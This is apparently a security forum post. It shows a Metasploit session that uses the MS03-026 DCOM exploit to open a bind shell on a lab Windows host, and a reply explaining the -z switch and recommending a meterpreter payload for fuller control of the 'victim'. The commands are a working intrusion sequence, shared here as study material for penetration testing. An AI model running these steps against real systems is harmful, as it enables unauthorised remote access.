msf> use exploit/windows/dcerpc/ms03_
026_dcom
msf exploit(ms03_026_dcom) > set payload generic/shell_bind_tcp
payload => generic/shell_bind_tcp
msf exploit(ms03_026_dcom) > show options
Module options (exploit/windows/dcerpc/ms03_026_dcom):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.1.209 yes The target address
RPORT 135 yes The target port
Payload options (generic/shell_bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LPORT 135 yes The listen port
RHOST 192.168.1.209 no The target address
Exploit target:
Id Name
-- ----
0 Windows NT SP3-6a/2000/XP/2003 Universal
msf exploit(ms03_026_dcom) > exploit -z
[*] Started bind handler
[*] Trying target Windows NT SP3-6a/2000/XP/2003 Universal...
[*] Binding to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:192.168.1.209[135] ...
[*] Bound to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:192.168.1.209[135] ...
[*] Sending exploit ...
[*] Command shell session 4 opened (192.168.1.227:39153 -> 192.168.1.209:135) at Sat Apr 30 17:43:51 +0000 2011
[*] Session 4 created in the background.
msf exploit(ms03_026_dcom) > sessions -i 4
[*] Starting interaction with 4...
msf exploit(ms03_026_dcom) >
exploit -zThe switch that you are using prevents you from interacting with any session after the exploit runs. Use exploit -h to see all options and you will find that -z prevents interaction. Also, why are you using generic bind? Use windows/meterpreter/bind_tcp which allows for full interaction with the victim, not just C:\ prompt.
I hope this helps.
Show Posts
GCIH - GIAC Certified Incident Handler : Passed my GCIH
